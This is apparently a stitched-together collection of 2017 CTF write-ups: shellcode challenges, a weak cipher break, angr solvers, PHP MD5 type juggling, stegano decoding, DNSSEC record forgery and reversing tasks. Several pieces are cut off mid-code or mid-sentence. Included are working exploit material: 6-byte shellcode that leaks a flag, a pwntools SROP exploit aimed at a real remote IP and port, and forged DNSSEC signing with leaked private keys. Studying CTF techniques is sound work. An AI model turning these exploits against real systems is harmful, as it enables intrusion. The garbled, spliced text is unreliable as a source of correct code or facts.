#input:(index(int)/(str,int))#input:(value(int)/(str,int))def vstore(stack,variables,vect,functions,ip): value = stack.pop() index = stack.pop() if (type(index) == tuple): index = index[1] if (type(value) == tuple): value = value[1] assert(type(index) == int and type(value) == int) vect[index] = value return (stack,variables,vect,ip)
#input:(index(int)/(str,int))def vload(stack,variables,vect,functions,ip): index = stack.pop() if (type(index) == tuple): index = index[1] assert(type(index) == int) stack.append(vect[index]) return (stack,variables,vect,ip)
def exit(stack,variables,vect,functions,ip): print "Done!" sys.exit(0)``` |
# __Square CTF 2017__ ## _6yte_
## Information**Category:** | **Points:** | **Writeup Author**--- | --- | ---Exploit | 1000 | merrychap
**Description:**
> Our operatives found this site, which appears to control some of the androids’ infrastructure! There are only two problems. The robots love x86 assembly; the only thing easier for them to work with is binary. And they love terse command codes. Even 7 bytes was too many for this one.This URL is unique to your team! Don't share it with competitors!https://zahir-todyf-movav-fygas-codag.capturethesquare.com
## SolutionOn the page we can find a binary and text, that says:
>You can send up to 6 bytes (hex encoded) as the first argument to the binary. The passed in bytes will be executed. The goal is to read the contents of the file in env['WUNTEE_CHALLENGE_FLAG'].
Okay then, the first we have to do is to download the [binary](6byte) and examine its functionality. Using ```file``` utility we see that it's 32-bit binary:
Let's open the binary in IDA Pro. First of all, we're faced with argc length checking. From this, we know, that length of argc must be 2.
It means that we pass our 6 bytes **through command line parameters**. If args is equal to 2, then binary checks length of a passed string. It must be 12 bytes long because each byte presented with 2 symbols
When all checks are completed, the program converts a passed string into 6 real bytes. That is, if you input ```aabbccddeeff```, then program converts it into bytes sequence ```0xaa 0xbb 0xcc 0xdd 0xee 0xff```. After this, the main function starts:
In this part of the code, the program prints locations of the flag and the shellcode (our input), and then jumps to the shellcode. Sounds pretty nice. We can run the debugger and see all this in action.
I'll use gdb+peda, but you can use whatever debugger you want. Let's set the breakpoint on ```jmp DWORD PTR [ebp-0x18]```, because in fact, it's the only one interesting place to debug.
When we try to run the binary, we faced with the problem: we just don't have ```WUNTEE_CHALLENGE_FLAG``` environment variable. It's not a problem at all. We create a file named "flag" and write to it the string ```this_is_sample_flag_created_by_myself```. After this let's create the right environment variable:
Try to run it again with ```aabbccddeeff```... Yes, everything is okay.
Once you are at the ```jmp``` instruction, step in and see what do we have there.
This is where the real task begins. Let's recall that we have right now. The flag is located in our memory and we can see it. Also, we can control 6 executable bytes. So, the simplest (and the only one) idea is next: we use ```write``` syscall to write the flag into the output stream.
Let's examine the registers for that: ```eax = 0x4; ebx = 0x1; edx = 0x5```. It means that we will write to the stdout 5 bytes of a buffer stored in the ```ecx```. But ecx stores something useless! Yes, this is why we need this 6 bytes of our input. You can notice that ```edi``` contains flag address, so the goal is to move this address to ```ecx```. We can input ```lea ecx, [edi]; syscall;``` (in bytes it's ```8d0fcd80```)assembly instruction to output first 5 bytes of the flag.
Okay, when we get the first 5 bytes of the flag, we can use an offset in the ```lea``` instruction like this: ```lea ecx, [edi+5]``` to print next 5 bytes and so on. By the way, you can use ```rasm2``` to convert assembly instructions into bytes.
That's all. Just apply this technique on the CTF server.
For our team flag is:
> flag-vizuv-solyb-rasun-korud-lyvad |
# Description:**Our operatives found this site, which appears to control some of the androids’ infrastructure! There are only two problems. The robots love x86 assembly; the only thing easier for them to work with is binary. And they love terse command codes. Even 7 bytes was too many for this one.**
# Writeup:We are given a binary and some text:
> You can send up to 6 bytes (hex encoded) as the first argument to the binary. The passed in bytes will be executed. The goal is to read the contents of the file in env['WUNTEE_CHALLENGE_FLAG'].
Inspecting the binary in ida confirms what we are told - the binary will check that we gave it 6 bytes as an argument (909090909090, for example), and execute them.Right before executing them, the binary opens the file in **env['WUNTEE_CHALLENGE_FLAG']** and reads it into the stack.
Since we don't have the environment variable set, we will export it using "export WUNTEE_CHALLENGE_FLAG=/etc/passwd".
By setting a breakpoint right before our 6 bytes are executed, we can examine the registers:
We want to print the flag into stdout, but we have only 6 bytes to do so.Luckily, most of the registers are set for a write syscall:
```|syscall | eax | ebx | ecx | edx || ------------- | -------- | -------- | -------- | -------- | | sys_write | 0x04 | fd |Buff addr |Num Bytes |```
EAX is 4 and EBX is 1 (stdout).
We need ECX to point to our flag, and EDX to be a bigger number (so we can read the whole flag at one go).
The following assembly code achieves this using only 6 bytes:```xchg ecx,edi //ecx will point to our flagmov dl,0x64 //edx is a big numberint 0x80 //syscall```Or, in byte form:87F9B264CD80 |
# My simple cipher #twctf-2017 warmup crypto
## Task
```This my first cipher system. Can you break it?```Given cipher.py and encrypted.txt, you need to recover encrypted information.
## Solution
Content of cipher.py```pythonimport sysimport random
key = sys.argv[1]flag = '**CENSORED**'
assert len(key) == 13assert max([ord(char) for char in key]) < 128assert max([ord(char) for char in flag]) < 128
message = flag + "|" + key
random.seed(1)encrypted = chr(random.randint(0, 128))
for i in range(0, len(message)): print 'enc:, encrypted', (encrypted, (encrypted[i])) encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)
print(encrypted.encode('hex'))
```
From the source code we can see that key must be 13 characters long and it is contained at the end of ciphertext, also we know that the first 6 characters of flag will be `TWCTF{`. But at first we need a decrypt function, we can write it just reversing original cipher:
```pythondef decrypt(key, message): decrypted = '' for i in range(len(message) -1, 0, -1): decrypted += chr( (ord(message[ i ]) - ord(key[ (i-1) % len(key) ]) - ord(message[ i - 1 ])) % 128) return decrypted[::-1]```
Note shift by one char to left when accessing key values, it is done because of one extra random char at the beginning of ciphertext. Now, we can derive the formula for the first six key characters: `x = (msg[n+1] - msg[n] - 'TWCTF{'[n]) % 128`. Remaining characters of key can be bruteforced, asserting that key character must be same with corresponding character in decrypted message.
```pythondef bruteKeyChar(num, message, key): key_num = num % len(key) if key_num in range(0, 6): x = (ord(message[num + 1]) - ord(message[num]) - ord('TWCTF{'[key_num])) % 128 return chr(x), x for i in range(0, 128): key[key_num] = chr(i % 128) decrypted = decrypt("".join(key), message) if decrypted[len(decrypted) - len(key) + key_num] == key[key_num]: print decrypted, key return key[key_num], i raise Exception('Not found!')```
So let's recover message:
```$ python2 decrypt.py['|', '\x15', ':', 'G', 'K', 'j', '-', '?', '}', '?', 's', '(', 'p', '>', 'l', '-', '$', ':', '\x08', '>', '.', 'w', '<', 'E', 'T', 'w', 'H', 'f', '|', '\x15', '\x11', '3', '?', 'O', 't', '^']char: E 69 key_num: 0char: N 78 key_num: 1char: J 74 key_num: 2char: 0 48 key_num: 3char: Y 89 key_num: 4char: H 72 key_num: 5is-funHNbYHOLIDAd) ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'A', 'A', 'A', 'A', 'A', 'A']char: O 79 key_num: 6is-fun!}HNbYHOLIDAY) ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'L', 'A', 'A', 'A', 'A', 'A']char: L 76 key_num: 7is-fun!}|HNbYHOLIDAY! ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'L', 'I', 'A', 'A', 'A', 'A']char: I 73 key_num: 8is-fun!}|ENbYHOLIDAY! ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'L', 'I', 'D', 'A', 'A', 'A']char: D 68 key_num: 9is-fun!}|ENbYHOLIDAY! ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'L', 'I', 'D', 'A', 'A', 'A']char: A 65 key_num: 10is-fun!}|ENJYHOLIDAY! ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'L', 'I', 'D', 'A', 'Y', 'A']char: Y 89 key_num: 11TWCTF{Crypto-is-fun!}|ENJ0YHOLIDAY! ['E', 'N', 'J', '0', 'Y', 'H', 'O', 'L', 'I', 'D', 'A', 'Y', '!']char: ! 33 key_num: 12TWCTF{Crypto-is-fun!}|ENJ0YHOLIDAY!
```
[decrypt.py source code](decrypt.py) |
```#!/usr/bin/env python
import angr
def dummy_function(state): pass
flag_address = 0x6cee40find = (0x00401694, )avoid = (0x004016a0, )checking_address = 0x00401378function_addresses = (0x00400a62, 0x00400aa8, 0x00400aee, 0x00400b71, 0x00400bb7, 0x00400bfd, 0x00400c43, 0x00400c89, 0x00400ccf, 0x00400d15, 0x00400d5b, 0x00400da1, 0x00400de7, 0x00400e2d, 0x00400e73, 0x00400eb9, 0x00400eff, 0x00400f45, 0x00400f8b, 0x00400fd1, 0x00401017, 0x0040105d, 0x004010a3, 0x004010e9, 0x0040112f, 0x00401175, 0x004011bb, 0x00401201, 0x00401247, 0x0040128d, 0x004012d3, 0x00401319)
p = angr.Project("./rhapsody")
for function_address in function_addresses: p.hook(function_address, dummy_function, length=5)
state = p.factory.blank_state(addr=checking_address)flag = state.se.BVS("flag_string", 35 * 8)state.memory.store(flag_address, flag)pg = p.factory.path_group(state)pg.explore(find=find, avoid=avoid)
if len(pg.found) > 0: found_path = pg.found[0] flag_found = found_path.state.se.any_str(flag) print "Flag found: {}".format(flag_found)else: print "Try smarter!!!"``` |
# MD5 Games 1, Web, 50pts
## Problem
10 years has passed since MD5 was broken, yet it is still frequently used in web applications, particularly PHP powered applications (maybe because there's a function after it?). Break it again to prove the point!
## Solution
We get simple form, where we can put our string.
Also, we are able to see PHP source of the challenge:
```php
Find a string that has a MD5 digest equal to itself!<form> <label>Answer: </label> <input type='text' name='md5' /> <input type='submit' /></form>
Find a string that has a MD5 digest equal to itself!
Source Code```
The only way we can get the flag is to pass string, which MD5 hash is exact the same as the string itself. Because such string does not exists (or I don't know one) we have to find another solution.
The only way to solve this challenge is to exploit PHP type juggling (as ```$md5``` is compared with ```md5($md5)``` with ```==``` instead of strict comparision operator ```===```).
The easiest way to do this is to provide a number starting with ```0e```, which MD5 hash begins with ```0e``` as well and contains only numbers.
Thats because such comparision will return ```true```:
```php// test.php {}".format(s, hashed_s) print "[+] in {} iterations".format(iters) exit(0)
if iters % 1000000 == 0: print "[+] current value: {} {} iterations, continue...".format(s, iters)
breakit()
```
When I run it, after couple of minutes and __almost 216 millions__ of iterations, I get the string which gave me the flag:
```[+] current value: 0e196999999 197000000 iterations, continue...[+] current value: 0e197999999 198000000 iterations, continue...[+] current value: 0e198999999 199000000 iterations, continue...[+] current value: 0e199999999 200000000 iterations, continue...[+] current value: 0e200999999 201000000 iterations, continue...[+] current value: 0e201999999 202000000 iterations, continue...[+] current value: 0e202999999 203000000 iterations, continue...[+] current value: 0e203999999 204000000 iterations, continue...[+] current value: 0e204999999 205000000 iterations, continue...[+] current value: 0e205999999 206000000 iterations, continue...[+] current value: 0e206999999 207000000 iterations, continue...[+] current value: 0e207999999 208000000 iterations, continue...[+] current value: 0e208999999 209000000 iterations, continue...[+] current value: 0e209999999 210000000 iterations, continue...[+] current value: 0e210999999 211000000 iterations, continue...[+] current value: 0e211999999 212000000 iterations, continue...[+] current value: 0e212999999 213000000 iterations, continue...[+] current value: 0e213999999 214000000 iterations, continue...[+] current value: 0e214999999 215000000 iterations, continue...[+] found! md5( 0e215962017 ) ---> 0e291242476940776845150308577824[+] in 215962018 iterationsbl4de:~/hacking/ctf/2017/HackDatKiwi_CTF_2017 $```
I've put __0e215962017__ into the form and:
 |
The task consists of one [64-bit binary](player_bin). Let's examine what's under the hood of this challenge.
First of all, look at the ```0x10000023``` address. Flag for this challenge is placed in this address on the CTF server. So, obviously that we should just print it. Okay, let's examine the code.
There is not so much code and everything is pretty straight. In the first syscall at ```0x100000b``` we input string into ```rsi``` register. After that we prepare registers for the second syscall. If we look at the table of syscalls for [x86_64 architecture](http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/) then we find out that this syscall is [```sys_rt_sigreturn```](https://linux.die.net/man/2/rt_sigreturn).
For me this doesn't tell much, so let's run the binary and see what this thing do. I input ```'A' * 12``` and stopped before the second syscall. The state of our program looks like that:
Each register has rational and understandable value. Pay your attention to the values laying on the stack. Now, let's execute this ```sys_rt_sigreturn```:
You can think "What the heck?", but look at the stack before executing the syscall and you find out that all registers are set up with the values from the stack. This named a stack frame. According to the Linux man page, ```sys_rt_sigreturn``` function returns from signal handler and cleanup stack frame. So, if we input a pretty big string then we can control stack frame and hence overwrite all registers, sweet. This technique called **SROP** -- Sigreturn Oriented Programming. You can read about it on Google :3
What's next? We can control all registers including ```rip```. The idea is pretty simple: To change ```rip``` to syscall address (doesn't matter which of the two) and set all registers to write the flag into ```stdout```. There are two ways to do this:- Using ```pwntools``` and its built-in class for Sigreturn frames. Then set needed registers with desirable values and input them.- And more complex way: finding the order of registers in a stack frame and create this frame by yourself.
I chose the first way, but you can improve your skills by creating a stack frame by yourself (I did it too).
[Exploit](exploit.py) that creates the stack frame and input it is placed below:
```pythonimport struct
from pwn import *
def main(): context.clear() context.arch = "amd64"
rm = remote('163.172.176.29', 9034) frame = SigreturnFrame() frame.rax = 0x1 frame.rdi = 0x1 frame.rsi = struct.unpack('Q', '\x23\x00\x00\x10\x00\x00\x00\x00')[0] frame.rdx = 0x30 frame.rip = struct.unpack('Q', '\x12\x00\x00\x10\x00\x00\x00\x00')[0]
rm.send(bytes(frame)) rm.interactive()
if __name__ == '__main__': main()
``` |
Checking the passwd file I found out that there is a user called 'b4ckd00r\_us3r', after that I looked up for crontab files and found a file named 'b4ckd00r\_us3r'
after opening b4ckd00r_us3r I found out that there is a task that lunches /bin/back
command 'file' reveals that /bin/back is a python compiled files, lets use uncompyle6 for this task, I got the fellowing code :
looks like the program asks for a username and pincode then compute 'username:pincode' with sha256, lets use the username found previouslyI wrote a small python [Script](https://github.com/soolidsnake/Write-ups/blob/master/Kaspersky_CTF/BackdoorPi/script.py) to brute force the pin |
# Hack Dat Kiwi 2017## Pimple Stegano
## Information**Category:** | **Points:** | **Author:**--- | --- | ---Steganography | 180 | Ben Burnett
## DescriptionWe are presented with a website that has a trollface on it containing an encoded message, and an edit box with which we can encode our own messages.
## SolutionMy first thought was to analyze what pixel colors are in use if I encode the message 'a'. I wrote a simple script to print out pixel counts.
```pythonfrom PIL import Imagefrom collections import Counter
img_name = '../a.png'img = Image.open(img_name)print Counter(img.getdata())``````Counter({255: 81630, 2: 49632, 230: 42406, 96: 503, 3: 3})```
The pixel 3 having a count of 3 is pretty interesting, but this doesn't tell us much on its own, so I decide to analyze 'aaaaa' in the same way.```Counter({255: 81712, 2: 49620, 230: 42406, 96: 421, 3: 15})```
Interesting. The number of 3 pixels increased to 15 which is five times as many 3 pixels for five times as many a's.
The next thing that I wanted to do was figure out where these 15 3 pixels were so I wrote another simple script.
```pythonfrom PIL import Image
img_name = '../aaaaa.png'img = Image.open(img_name)
new_img = Image.new(img.mode, img.size)new_img.putdata([pixel if pixel != 3 else 128 for pixel in img.getdata()])new_img.save('new_image.png')```
Interesting! They are all on the left cheek. Let's put the actual trollface through the same analysis.
```Counter({255: 81690, 230: 42406, 2: 36086, 3: 13549, 96: 295, 97: 148})```
So what it looks like is that the encoding is top-to-bottom then left-to-right. We also see the presence of a 97 pixel for the first time. So my hypothesis at this point is that the message is encoded in the black pixels, and the pimple pixels. I write a new script to test this hypothesis.
```pythonfrom PIL import Image
img_name = '../the-troll.png'img = Image.open(img_name)pixels = img.getdata()
bits = []for x in range(img.size[0]): for y in range(img.size[1]): pix = pixels[(y * 462) + x] if pix <= 97: bits.append('1' if pix & 0x1 else '0')bits = ''.join(bits)
decoded = ''.join([chr(int(bits[i:i + 8], 2)) for i in range(0, len(bits), 8)])print decoded```
And the output is:```A pimple, zit or spot is a kind of comedo and one of the many results of excess oil getting trapped in the pores. Some of the varieties are pustules or papules.[1] Pimples can be treated by various acne medications prescribed by a physician, or purchased at a pharmacy with a wide variety of treatments.
ContentsCausesTreatmentOver-the-counter medicationsPrescription medicationHygieneReferencesExternal linksCauses Edit
Inside the pore are sebaceous glands which produce sebum. When the outer layers of skin shed (as they do continuously), the dead skin cells left behind may become 'glued' together by the sebum. This causes the blockage in the pore, especially when the skin becomes thicker at puberty.[2] The sebaceous glands produce more sebum which builds up behind the blockage, and this sebum harbours various bacteria including the species Propionibacterium acnes, causing infection and inflammation.
A pustule.
Some more severe pimples can lead to significant swelling and may appear on the back and chest.
Treatment Edit
See also: Acne vulgaris § ManagementOver-the-counter medications EditCommon over-the-counter medications for pimples are benzoyl peroxide and/or salicylic acid and antibacterial agents such as triclosan; or flags like JUXLN9MGUjNXpjns. Both medications can be found in many creams and gels used to treat acne (acne vulgaris) through topical application. Both medications help skin slough off more easily, which helps to remove bacteria faster. Before applying them the patient needs to wash his or her face with warm water and dry. A cleanser may also be used for that purpose. Acne rosacea is not caused by bacterial infection. It is commonly treated with tretinoin. A regimen of keeping the affected skin area clean plus the regular application of these topical medications is usually enough to keep acne under control, if not at bay altogether. The most common product is a topical treatment of benzoyl peroxide, which has minimal risk apart from minor skin irritation that may present similar as a mild allergy.[3] Recently nicotinamide, applied topically, has been shown to be more effective in treatment of pimples than antibiotics such as clindamycin.[4] Nicotinamide (vitamin B3) is not an antibiotic and has no side-effects typically associated with antibiotics. It has the added advantage of reducing skin hyperpigmentation which results in pimple scars.[5]
Prescription medication EditSevere acne usually indicates the necessity of prescription medication to treat the pimples. Prescription medications used to treat acne and pimples include isotretinoin, which is a retinoid. Historically, antibiotics such as tetracyclines and erythromycin were prescribed. While they were more effective than topical applications of benzoyl peroxide, the bacteria eventually grew resistant to the antibiotics and the treatments became less and less effective. Also, antibiotics had more side effects than topical applications, such as stomach cramps and severe discoloration of teeth. Common antibiotics prescribed by dermatologists include doxycycline and minocycline.[6] For more severe cases of acne dermatologists might recommend accutane, a retinoid that is the most potent of acne treatments. However, accutane can cause various side effects including vomiting, diarrhea, and birth defects if taken during pregnancy.
Hygiene EditPracticing good hygiene, including regularly washing skin areas with neutral cleansers, can reduce the amount of dead skin cells and other external contaminants on the skin that can contribute to the development of pimples.[7] However, it is not always possible to completely prevent pimples, even with good hygiene practices.```
We see `flags like JUXLN9MGUjNXpjns` in the middle of the text, and know that we have found the flag! |
In the page source code, an HTML comment reveals the presence of a source code archive:
```html
```
The application is Flask based and has a unique view handling a unique form input. If the submitted input is a valid IPv4 address, the server sends a DNSSEC request and asks for a DNSSEC A record for an unknown domain. The returned record is then checked with hardcoded private keys.
```pythondef correct_dnssec(nsaddr, domain): # name = dns.name.from_text(domain) key = { name: dns.rrset.from_text( domain, 3600, 'IN', 'DNSKEY', '256 3 7 [...]', '257 3 7 [...]' ) } request = dns.message.make_query(domain, dns.rdatatype.A, want_dnssec=True) try: request = dns.query.udp(request, nsaddr, timeout=7) except: return False answer = request.answer if len(answer) < 2: # dnsserc not supported return False else: try: dns.dnssec.validate(answer[0], answer[1], key) return str(answer[0].to_rdataset()[0]) except: # dnssec failed return False```
A `tcpdump` quickly reveals the domain name for which the record is asked:
```12:08:32.978150 IP 149.13.33.84.39499 > XXXXXXXXXXXXXXX: 1749+ [1au] A? otherside.earth.flux. (49)```
There is currently no other possibility to forge valid DNSSEC records: we need the associated private keys. A team mate noticed that the archive contained a complete git repository, allowing us to dig into the commit history:
```$ git logcommit bf3b232d26757f78a0c7b60b5643bd5ccaadeeef (HEAD -> master)Author: kunte_ <[email protected]>Date: Tue Oct 3 17:58:35 2017 +0200
added jquery
commit 94067e4502a5134d912b6964de7f23a438b7f814Author: kunte_ <[email protected]>Date: Tue Oct 3 17:57:23 2017 +0200
fixed gitignore
commit eddb23375ea4e08c67a63088ea08b4d5fc18a406Author: kunte_ <[email protected]>Date: Tue Oct 3 17:56:37 2017 +0200
fixed typo in name```
Quickly, you can reach the project state containing these wanted keys !
```git checkout 94067e4502a5134d912b6964de7f23a438b7f814$ ls keys/Ksecret+007+11537.key Ksecret+007+26883.keyKsecret+007+11537.private Ksecret+007+26883.private```
After spending a few hours googling "How to configure a BIND server with DNSSEC", I finally got a working setup.
Put all the files located in subdirectory `bind` in your system `/etc/bind` directory:
* `db.otherside.earth.flux` : the zone file * `Ksecret+007+11537.key` : the KSK public part * `Ksecret+007+11537.private` : the KSK private part * `Ksecret+007+26883.key` : the ZSK public part * `Ksecret+007+26883.private` : the ZSK private part
Patch the zone file in order to make the record otherside.earth.flux pointing to a controlled IP address:
```@ IN A AA.BB.CC.DD```
Once you're done, sign the zone file with you keys:```/etc/bind# dnssec-signzone -t -g -k Ksecret+007+26883.key -o otherside.earth.flux db.otherside.earth.flux Ksecret+007+11537.key```
Finally, add the zone in your bind configuration file `/etc/bind/named.conf.local` and restart your BIND:
```zone "otherside.earth.flux" { type master; file "/etc/bind/db.otherside.earth.flux.signed";};```
The DNSSEC server should be working and you should be able to get a signed record with the following command:
```dig A otherside.earth.flux @localhost +noadditional +dnssec +multiline```
The challenge is almost done, submit your IP address into the web form and monitor incoming packets with a `tcpdump` capture.
You will easily notice a SYN packet incoming on the TCP port 1337. Submit the IP again with a listening service for retrieving the flag:
```# nc -lvp 1337listening on [any] 1337 ...
149.13.33.84: inverse host lookup failed: Unknown hostconnect to [62.210.72.56] from (UNKNOWN) [149.13.33.84] 35952Server Hello.flag{bb5986219c9811aa66e7ebeb05d7f757}``` |
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|
# Rusted From The Rain (REV 200)
```Some conspiracy theorists like to claim Earth is actually flat and surrounded by an ice wall guarded by the Night's Watch NASA employees. Seriously though, only fools would believe that! The real conspiracy goes much deeper, they want to shield the remains of highly advanced ancient civilizations from us but we were able to obtain an old data storage device! It appears they left us a message, however thousands of years of exposure to the elements took their toll and we couldn't extract anything but a tool that was apparently used to verify the message. Can you help us recover the message?```
file
### Notes* (TODO BETTER WRITEUP)* See solve.py at [https://github.com/mrchisel14/CTFs/blob/master/2017/HackLu2017/Rusted/solve.py](https://github.com/mrchisel14/CTFs/blob/master/2017/HackLu2017/Rusted/solve.py)* Original at [https://github.com/mrchisel14/CTFs/tree/master/2017/HackLu2017/Rusted](https://github.com/mrchisel14/CTFs/tree/master/2017/HackLu2017/Rusted)
#### Initial* Run file command to see it is a PE file* Run strings and notice interesting string "Yep, congrats.Try again."* Run program and realize we must pass the flag as an arguments* Angr seems like a good thing to try...
#### Reversing* Find xrefs to string "Yep, congrats.Try again."* Notice cmovnz that determines whether we get congrats or try again* Notice return from previous function needs to be non-zero* Use debugger to see arguments to function call are len(argv[1]) and argv[1].* Analyze the beginning of the "checkFlag" function to see the size must be equal to 0x1c or 28 bytes and that the first four chars are FLAG* Note where the function set $rax to 1.
#### Angr Steps:
* Create angr state at location of call to checkFlag()* Set up int size and char* flag arguments to checkFlag()* Find path to location in checkFlag where 1 will be returned* Print symbolic memory of flag with found path's state's symbolic engine |
# The Maya Society - Reversing - 50 points
> Maya society was broken into a class structure with four main levels: the nobility (Maya almehenob), the priesthood (Maya ahkinob), the common people (Maya ah chembal uinieol), and the slaves (Maya ppencatob). The most powerful of the ruling elite was known as the halach uinic. The halach uinic are alive and still secretly hold meetings today. You have to reverse engineer their communication and infiltrate the ruling elite. [Link](./launcher)
Link originally pointed to a website, [screenshot here](./images/website.jpg). The download gave use a 64-bit ELF.
Loading it up and decompiling in IDA shows us this at the top of the function:
The string `.fluxfingers.net` points towards something related to a domain name. Next, the current time is used, and formatted like `2017-10-19`. Then there's some hash function(?) that we never bothered reversing.
A date. And Mayas. [Hmmmm.](https://en.wikipedia.org/wiki/2012_phenomenon)
We set the current time of our box to December 21st 2012, which was supposed to be "end of the world for the Mayas" according to tabloids everywhere, and simply run the program. In return, we get the flag, `flag{e3a03c6f3fe91b40eaa8e71b41f0db12}`.
(Another hint that we had to change the date can be seen on the website screenshot - it links to "13.0.0.0.0" which is the Mayan calendar date that equals Dec 21st 2012) |
You can read the full writeup [here](https://lim1ts.github.io/ctf/2017/10/19/hackluTriangles.html), which is more wordy.
More succintly, observe that there are some .js files in the source.
In secret.js,
```function test_pw(e, _) { var t = stoh(atob(getBase64Image("eye"))) , r = 4096 , m = 8192 , R = 12288 , a = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM); a.reg_write_i32(uc.ARM_REG_R9, m), a.reg_write_i32(uc.ARM_REG_R10, R), a.reg_write_i32(uc.ARM_REG_R8, _.length), a.mem_map(r, 4096, uc.PROT_ALL); for (var o = 0; o < o1.length; o++) a.mem_write(r + o, [t[o1[o]]]); a.mem_map(m, 4096, uc.PROT_ALL), a.mem_write(m, stoh(_)), a.mem_map(R, 4096, uc.PROT_ALL), a.mem_write(R, stoh(e)); var u = r , c = r + o1.length; return a.emu_start(u, c, 0, 0), a.reg_read_i32(uc.ARM_REG_R5)}function enc_pw(e) { var _ = stoh(atob(getBase64Image("frei"))) , t = 4096 , r = 8192 , m = 12288 , R = new uc.Unicorn(uc.ARCH_ARM,uc.MODE_ARM); R.reg_write_i32(uc.ARM_REG_R8, r), R.reg_write_i32(uc.ARM_REG_R9, m), R.reg_write_i32(uc.ARM_REG_R10, e.length), R.mem_map(t, 4096, uc.PROT_ALL); for (var a = 0; a < o2.length; a++) R.mem_write(t + a, [_[o2[a]]]); R.mem_map(r, 4096, uc.PROT_ALL), R.mem_write(r, stoh(e)), R.mem_map(m, 4096, uc.PROT_ALL); var o = t , u = t + o2.length; return R.emu_start(o, u, 0, 0), htos(R.mem_read(m, e.length))}function get_pw() { for (var e = stoh(atob(getBase64Image("templar"))), _ = "", t = 0; t < o3.length; t++) _ += String.fromCharCode(e[o3[t]]); return _}```
UnicornJS is being used here, so we know that we need to extract the ARM code being used.To do this,```function getARM1(){ var x = stoh(atob(getBase64Image("frei"))); var output = new Array(); for(var i = 0; i < o2.length ; i++){ output[i] = x[o2[i]]; } return output;}
//Looking at o2, we observe that our output will be in integers. //Lets try converting them to hex values.
function toHexString(byteArray) { return Array.from(byteArray, function(byte) { return ('0' + (byte & 0xFF).toString(16)).slice(-2); }).join('')}```By doing `toHexString(getARM1())`, we get this "0800a0e10910a0e10a20a0e10030a0e30050a0e30040d0e5010055e30100001a036003e2064084e0064084e2015004e20040c1e5010080e2011081e2013083e2020053e1f2ffffba0000a0e30010a0e30020a0e30030a0e30040a0e30050a0e30060a0e30070a0e30090a0e300a0a0e3"
We then paste this hex-string into an [online converter](http://armconverter.com/hextoarm/) to receive:
``` ; FROM test_pw:
MOV R0, SB ; R0 = SB, Static base register. This is a synonym for R9. #R0 = R9 = m. (the secret password is here) MOV R1, SL ; R1 = SL, Stack Limit register. This is a synonym for R10. #R1 = R10 = R (the input password is here) MOV R3, R8 ; R8 = input password length MOV R4, #0 MOV R5, #0 MOV IP, #0 LDRB R2, [R0] ; Load secret password LDRB R6, [R1] ; Load input password ADD R6, R6, #5 ; Will do +5 AND IP, R4, #1 ; ip == R4 and 1 CMP IP, #0 BEQ #0x34 ; Will jump when IP is 0, or rather when R4 is even SUB R6, R6, #3 ; Will do -3 this when R4 is odd. CMP R2, R6 ; 0x34 here, if R4 is even, just compare. BNE #0x54 ; R2 needs == R6 ADD R0, R0, #1 ADD R1, R1, #1 ADD R4, R4, #1 ; Increment all. R4 is a counter CMP R4, R3 ; Check if counter < input length BLT #0x18 MOV R5, #1 ; We need this! MOV R0, #0 ; 0x54 here MOV R1, #0 MOV R2, #0 MOV R3, #0 MOV R4, #0 MOV R6, #0 MOV R7, #0 MOV R8, #0 MOV SB, #0 MOV SL, #0 MOV IP, #0
; Repeating this with enc_pw give us ; ; FROM enc_pw:
MOV R0, R8 ; R8 -> R0, R0 = 8192 MOV R1, SB ; R1 = SB, Static base register. This is a synonym for R9. #R1 = R9 = m. (we should read final result from here) MOV R2, SL ; R2 = SL, Stack Limit register. This is a synonym for R10. #R2 = R10 = e.length (input length) MOV R3, #0 MOV R5, #0 LDRB R4, [R0] ; Load register byte. #0x14 here CMP R5, #1 ; IS R5 = 1? BNE #0x28 AND R6, R3, #3 ADD R4, R4, R6 ADD R4, R4, #6 ; 0x28 is here. If R5 is 0, come here AND R5, R4, #1 ; R5 == 1 if R4 is odd. STRB R4, [R1] ; store register byte ADD R0, R0, #1 ADD R1, R1, #1 ADD R3, R3, #1 CMP R3, R2 BLT #0x14 ; Go back if R3 < input length. R3 is a counter MOV R0, #0 MOV R1, #0 MOV R2, #0 MOV R3, #0 MOV R4, #0 MOV R5, #0 MOV R6, #0 MOV R7, #0 MOV SB, #0 MOV SL, #0```
In order to find the required password, we do the following:```function findReqR6(){ var pw = stoh("XYzaSAAX_PBssisodjsal_sSUVWZYYYb"); //We found this string above, from get_pw(); var required = new Array(); for(var i = 0 ; i < pw.length; i ++ ){ var a = pw[i]; a = a - 5; // We do this to find out what the original input needs to be. if(i & 1 == 1){ a = a + 3; // Because the test adds 5, and might sub 2 in some cases } // according to the assembly above. required[i] = a; } return required;}```
`htos(findReqR6())` Will give us ``` SWu_N? |
# Corroded Alien Artifact - Reversing - 500 points
> Looks like ancient civilizations aren't the only ones to leave us a message, some friendly alien civilization also said hi! The bad news is the message was too corroded to decipher. The good news is we were able to recover a tool to verify its correctness, the not so good news is driew si ygolonhcet neila. Can you help us recover the message? > [Download](./ctf_alien_cpu-07fbf219680f2676964018bbcb008968.zip)
Binary is a 64bit Windows executable (Don't see those too often in CTFs). We load it up in [x64dbg](https://x64dbg.com) and run it, and soon see that it throws an `EXCEPTION_ILLEGAL_INSTRUCTION` exception. We look at where the exception happened, and notice that just before the illegal instruction, it sets up an exception handler:
On a `0F B9` illegal instruction, the handler sets RIP to `0x0000000140002480`, pushes a return address on stack, then enables single step mode. On a `0F 0B` illegal instruction, the return address is popped and single step mode is disabled.
In addition, on a `STATUS_SINGLE_STEP` exception, the code either leaves RIP alone if the last nibble of RIP is 0, or sets the last nibble to 0 then subtracts 0x10 from RIP. Basically, it executes instructions offset at 0x10 bytes from each other in reverse sequence (unless a jump/call just occured).
Trying to understand the jumbled instructions is way too hard, so we pull out the [Capstone](http://www.capstone-engine.org/) disassembler and write a small Python script to disassemble the flag checker function.
(The challenge author has uploaded the source code for the challenge, so take a look at the flag checker code [here](https://github.com/athre0z/ctf-alien-cpu/blob/master/src/flag-logic.rs).)
